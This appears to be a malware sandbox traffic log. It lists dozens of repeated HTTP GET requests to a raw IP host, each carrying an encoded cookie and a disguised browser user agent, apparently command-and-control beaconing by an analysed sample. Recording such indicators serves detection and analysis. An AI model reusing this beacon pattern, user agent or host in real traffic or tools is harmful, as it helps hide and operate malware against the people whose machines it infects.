Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=lA0veM_OTz8e-oB5rdvBGG5xrBP5Sm8iA0KGtTshtn-3OlgIhpapb2wHUqIo8M8XfGQqdZch8kZXdCglgqEDIzLT453-sDrGHhdzIMhasB4AESkjpKuDDdZ10Z28fWlSUIus89yjRyMm9wuMmeHroweDrn5GHVSuVBVeVNnfLsGhOTfVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=goVl3NlGBZsIcsrdu1OLvHj55rfvwiWGFcrMES2p_NuhshKskB7jy3qPGAY-eIWzauxg0YGpuOJB_GKBlClJhyRbqTnoOHBiCJ85hN7S-roWmWOHsiPJqcD9mzmq9SP2RgPmV8orDYcwf0Eoj2mhBxEL5NpQlR4KQp0U8M9XZGW3sX1xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ZB5Mdz_dLDDu6eN2XciiF55izxwJWQwt81Hlussy1XBHKTsHdoXKYJwUMa3Y46wYjHdJemcykUmnZ0sqcrJgLMLAgJIOo1nJ7gQQLzhJ0xHwAkosVLjgAiZmspJMbgpdoJjP_CywJCzW5GiDafKIrPeQzXG2DjehpAY9WynMTc5RKlTaUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=cAexMyvE0XT68B4ySdFfU4p7MlgdQPFp50gY_t8rKDRTMMZDYpw3JIgNzOnM-lFcmG60PnMrbA2zfrZuZqudaNbZfdYauqSN-h3tayxQLlXkG7doQKEdRjJ_T9ZYd_cZtIEyuDip2WjC_ZXHfet16OOJMDWiF8rlsB_AHz3VsIpFM6meUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=n_dJrMQ0KesVAOatpiGnzGWLysfysAn2CLjgYTDb0Ku8wD7cjWzPu2f9NHYjCqnDd55MoZzblJJcjk7xiVtl9zkphUn1SlwSFe0V9MOg1soL60_3r1Hl2d2Pt0m3hw-GW3HKJ9dZIfctDW1YkhuNdwx5yKpN5zJ6X-84gNIlSBWqw1EBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=7Qr9dLbJnTNn_VJ11NwTFBd2fh-ATb0uekVUuUImZHPOPYoE_5F7YxUAgK5R9x0bBWP4ee4mIEouc_op-6bRL0vUMZGHt-jKZxChLLFdYhJ5Fvsv3axRAa9yA5HFerteKYx-_6WklS9f8NmA4OY5r36EfHI_GoaiLRKMWKDY_M3YPuXZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mZpS08JZMpQTbf3SoEy8s2Pm0bj03RKJDtX7Hja2y9S6rSWjiwHUxGGQLwklZ7K8cfNX3pq2j-1a41WOjzZ-iD9EnjbzJ0dtE4AOi8XNzbUNhlSIqTz-ptvirDax6hT5XRzRWNE0OogrYHYnlHaWCAoU09VLiikFWYIj_9RIU2qsrkp-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=c_KMtigx7PH5BSO3SiRi1omOD90etczs5L0le9zeFbFQxfvGYWkKoYv48WzPD2zZm5uJu3DeUYiwi4vrZV6g7dUsQFMZT5kI-ejQ7i-lE9Dn7ortQ1QgwzGKclNbgsqct3QPPTtc5O3BCKhCfh5IbeB8DbCh4vdgs-r9mj4gjQ9GxpQbUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=m79_mMB8H98RSNCZommR-GHD_PP2-D_CDPDWVTST5p-4iAjoiST5j2O1AkInQp_3c9Z6lZiToqZYxnjFjRNTwz1hs33xAmomEaUjwMfo4P4Po3nDqxnT7dnHgX2zzzmyXzn8E9MRF8MpRVtsllO7Qwgx_p5JrwROW6cOtNZtfiGui2c1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=5qcPRr1kbwFsUKBH33HhJhzbjC2L4E8cceimi0mLlkHFkHg29DyJUR6tcpxaWu8pDs4KS-WL0ngl3ggb8AsjHUB5w6OMGhr4bL1THrrwkCByuwkd1gGjM6Tf8aPO10lsIiGMza4JZx1UXSuy60vLnXUpjkA0t3SQJr9-aqt1Dv_TkxfrUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=cv49-Ck9Xb_4CZL5SyjTmIiCvpMfuX2i5bGUNd3SpP9RyUqIYGW774r0QCLOA92Xmpc49XHS4MaxhzqlZFIRo9Qg8R0YQyhG-ORhoC6pop7m4jujQliRjTCGwx1ajnvStni-czpQVaPABBkMfxL5I-FwvP6g7kYusuZM1D8sPEFHyiVVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IUFg73qCAKirts_uGJeOj9s944RMBiC1tg7JIo5t-egCdhefM9rm-NlLHTWdvICAyShl4iJtvdHiOGeyN-1MtIefrApL_HVRq1s8t30W_4m1XWa0EefMmmM5ngoJMSbF5cfjZGnvCLSTu0QbLK2kNLLP4enzURs54VkRw2yTYVYUdXhCUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=LJB3_HdTF7umZ9j9FUaZnNbs9JdB1zemu9_eMYO87vsPpwCMPgvx69SaCiaQbZeTxPly8S-8qsLv6XChOjxbp4pOuxlGLWJCpoorpHDH6Jq4jHGnHDbbiW7oiRkE4DHW6Bb0d2Q-H6eealMIIXyzJ78e9vr-gAwq7IgG0GFCdkUZpG9RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=biMvDTXgT0rk1IAMV_XBbZRfrGYDZG9X-WyGwMEPtgpNFFh9fLipGpYpUtfS3s9ihkoqAG0P8jOtWihQeI8DVsj94-gEnjqz5DlzVTJ0sGv6PylWXoWDeCxb0ehGU2knqqWshiaNR1bc2Qv5Y8_r1v2trgu8M1TbrjteISPxLrRbFzegUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WBqb_APZ-7vS7TT9Ycx1nKJmGJc1Xdumz1UyMfc2Avt7LeyMSoEd66AQ5ibk53uTsHOe8Vs2RsKbY5yhTra3p_7EVxkyp45C0gDHpARNBJrMBp2naLw3iRpiZRlwat3WnJwYdxC086fq4L8IVfZfJ8uUGvqKCuAqmALq0BXImkVtLoNRUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WKjcXgNrvBnSX3NfYX4yPqLUXzU175wEz-d1k_eERVl7n6suSjNaSaCioYTkVTwxsMHZU1uEAWCb0dsDTgTwBf52ELsyFcng0rKABgT_QzjMtNoFaA5wKxrQIrtw2Jp0nC5f1RAGtAXqUviqVUQYhcsmXViKuKeImLCtchV63edtnMTzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=EGSxv0un0fiakx6-KbJf3-oYMtR9I_HlhysYcr9IKLgzU8bPAv83qOhuzGWsmVHQ-A20shNIbIHTHbbiBsid5La6fVp62aQBmn7t50wzLtmEeLfkIMIdylIcT1o4FPeV1OIyNFjK2eSinpVLHYh1ZIPqMLnCdMpp0HzAk122sAYlUKkSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ThGZmxXS-dzE5jaad8d3-7RtGvAjVtnB2V4wVuE9AJxtJu7rXIofjLYb5EHy7Hn0pniclk09RKWNaJ7GWL21wOjPVX4krIwlxAvFwxJGBv3aDZ_Afrc17gxpZ35mYd-xipcaEAa_8cD8671vQ_1dQN2fGJ2cAeJNjgnotwPDmCJ7JYE2User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=nGtq58eoCqAWnMXmpb2Eh2YX6YzxLCq9CyTDKjNH8-C_XB2XjvDs8GRhFz0gloqIdAJv6p9Ht9lfEm26isdGvDq1pgL21n9ZFnE2v8A89YEId2y8rM3Gkt4TlAK0GyzNWO3pbNTFArwukU4TkYeuPA_l6-FOexExXHMby9G5a16pX3JKUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=8PsrRas4SwJ6DIREyS3FJQqHqC6dvGsfZ7SCiF_XskLTzFw14mCtUgjxVp9MBssqGJIuSPPX9nszgiwY5lcHHlYl56CaRj77euF3HaystCNk5y0ewF2HMLKD1aDYi21vNH2ozrhVQx5CAQ-x_RfvnmN1qkMi61CTMONaab0pKvzFzzPoUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ELy7Akt_20WaSxQDKWpVYurAOGl9-_tYh_MSz7-QIgUzi8xyAic9Fei2xtisQVtt-NW-DxOQZjzTxbxfBhCXWbZid-d6Aa68mqbnWkzrJGSEoL1ZIBoXd1LERec4zP0o1Do4iVgS01miRp_2HVB_2YMyOgTCrMDU0KTKLl1uursliKOvUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Hs_lMEUMhXeUOEoxJxkLUOSzZltziKVqiYBM_bHjfDc9-JJADFRjJ-bFmOqiMgVf9qbgPR3jOA7dtuJtCGPJa7gRKdV0cvCOlNW5aEKYelaK0-NrLmlJRVy3G9U2v6Ma2klmu1ZhjWusNcHEEyMh641BZDbM357m3teUHFMd5Ikr-_2dUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=qdcwO_IUUHwjIJ86kAHeW1Ors1DEkHBhPpiZ9gb7qTyK4EdLu0y2LFHdTeEVKtBUQb41Nqr77QVqrjdmv3scYA8J_N7DaiWFI81sY_WAr109yzZgmXGcTuuvzt6Bp3YRbVGzsOF5WGAbLRTPpDv04DpZsT17x0vtac9BF-QFMYKc4yiWUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ltlHts0aJ_EcLui3rw-p1mylxN37ngfsAZbuezn13rG17jDGhELBoW7TOmwqJKfZfrBCu5X1mohVoEDrgHVr7TAHi1P8ZFIIHMMb7sqO2NACxUHtpn_rw9ShuVO-qQGcUl_EPd53L-0kI2NCmzWDbQVXxrBEyTxgVsE2mtsLRg-j7V8bUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=TSjzeRbrkz7H31x4dP4dGbdUcBIgb7Mj2mdatOIEan5uH4QJX7N1brUijqPx1RMWpUH2dE4ELkeOUfQkW4TfIuv2P5wnlebHxzKvIRF_bB_ZNPUifY5fDA9QDZxlWLVTia5w8gWGmyL_0teNQMQ3ot6mcn-fOIivjTCCVQD68sB4HOvUUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Gi27HkHu21mQ2hQfI_tVfuBROHV3avtEjWIS07UBIhk5GsxuCLY9CeInxsSm0Ftx8kS-ExkBZiDZVLxDDIGXRbzzd_twkK6gkDfnRkZ6JHiOMb1FKosXa1hVRfsyXf003qs4lVKD00Wo15_qF8F_xYmjOhjIPcDI2jXKMlf_uqcvGaOzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=tYqRh-5J8cA_fT6GjFx_50_2EuzYzdHdIsU4ShqmCICWveb3pxEXkE2A7F0Jd3HoXeOUiramTLl285baoya93BNUXWLfN4Q5P5DN3-ndDuEhlpfchSw98vfyb2Kd-tetcQwSDP0k-dwHcLVzuGZVXCYEEIFnmupRdZLgq_hYkD6AvokqUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=CiWVpVHm9eKA0jqkM_N7xfBZFs5nYtX_nWo8aKUJDKIpEuLVGL4TsvIv6H-22HXK4kyQqAkJSJvJXJL4HIm5_qz7WUBgmIAbgD_J_VZyCsOeOZP-OoM50Ehda0AiVdOPzqMWLkKL_f6437FRB8lRfpmrFKPYNe5zyj3kiUf3lBw_EY0IUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=u0bas-CFuvQxsXWygpA000E6WdjWAZrpLAlzfhRqQ7SYca3Dqd1cpENMp2kHuzrcUy_fvrhqB414P93urer26B2YFlbR-88NMVyG6-cRRdUvWtzoi-B2xvk-JFaTNpyZf8BZOPPosugJvP5HtqoeaCjIW7VpVqFle16rn_aU2wqOcsIeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=dpzAfy1foDj8a29-T0ouH4zgQxQb24Al4dNpstmwWXhVq7cPZAdGaI6WvaXKYSAQnvXFcnWwHUG15cciYDDsJNBCDJocIdXB_IacJyrLXxnigMYkRjpsCjTkPppe7IZVshpD9D4yqCTEZuSLe3AEpOUSQXmkjLuptoSxUztOwcZDqNjSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vDGhn-fywdg2xg6ehedP_0ZNIvTRduHFK34IUhMdOJifBtbvrqoniEQ73EUAzEHwVFikkr8dfKF_SKbCqp2NxBrvbXrWjLQhNiv9x-BmPvkoLafEjJcN6v5JX3qUQee1eLciFPSfycQOy4Vrsd1lRC-_IJluIdpJfCnQs_HjoCaJBbkyUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=fUJNKSaBLW73teIoRJSjSYc-zkIQBQ1z6g3k5NJu1C5edTpZb9nLPoVIMPPBv61GlStIJH5ukBe-O0p0a-5hctucgcwX_1iX91gRcSEV0k_pXktyTeThXD86s8xVMgsDucTOojXsJXLPuGndcK6J8u7MzC-vUjb_vVo8BTCQTJBIdlWEUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=e5hhiyBbAczxb86KQk6P64Hk4uAW3yHR7NfIRtS0-IxYrxb7aQPnnIOSHFHHZYHkk_Fkhni0vLW44WbWbTRN0N1GrW4RJXQ18YI90yfP_u3vhGfQSz7N_jngn25T6Cehvx7iADM2CdDJYkV_dnSlUOgW4I2piBpdu4AQpzZKYDJOrHkmUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=gMpBedsJIT4KPe54uRyvGXq2whLtjQEjF4XotC_m2H6j_TYJklHHbnjAPKM8N6EWaKNEdIPmnEdDs0YklmZtIiYUjZzqd1THCtAdIdyd3h8U1kcisGztDMKyv5yougdTREzC8shkKSIyMGWNjSaFohNEwH9S2jqvQNIwVc0YQMC1_lnUUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mr0Ty8F-c4wQSrzKo2v9q2DBkKD3-lORDfK6BjWRisy5imS7iCaV3GK3bhEmQPOkctQWxpmRzvVZxBSWjBE_kDxj3y7wAAZ1EKdPk8bqjK0OoRWQqhu_vtjF7S6yzVXhXjuQQNITe5AoRzc_l1HXEAkzks1IrWgdWqVi59dvEnKviQtmUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=tRCG7-7T5qg_5ynujMZoj09sBYTYV8a1Il8vIho8H-iWJ_Gfp4sA-E0a-zUJ7WaAXXmD4rY8W9F2aYGyo7yqtBPOSgrfrZNRPwrat-lHGYkhDIC0hbYqmvdoeAqdYMDFcZYFZP2-7rQH6qIbuPxCNCaeB-lnAP05dQj3w_jCh1aAJJ5CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=zuiUZJUr9CNEHztl9z56BDSUFw-jr9Q-Wac9qWHEDWPt3-MU3HMSczbi6b5yFXQLJoGRac3ESVoNkZM52ES4P2g2WIGkVYHaRPLIPJK_CwJa9JI__k44EYyQaoHmmNJOCm4X74ZG_D98ErCQwwRQv11mFWIc-O-yDvDlSIM6ld373IzJUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=a8oB5TAJYaLhPa7kUhzvhZG2go4GjUG__IWoKMTmmOJI_XaVeVGH8pPAfD_XN-GKg6ME6Gjm3Nuoswa4fWYtvs0UzQABdxRb4dBdvTednoP_1ge-W2ytkCmy_wBDukfPr0yCbiNkab7ZMCURZibFPvhEgOO52nozq9JwySYYAFxe_hlIUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
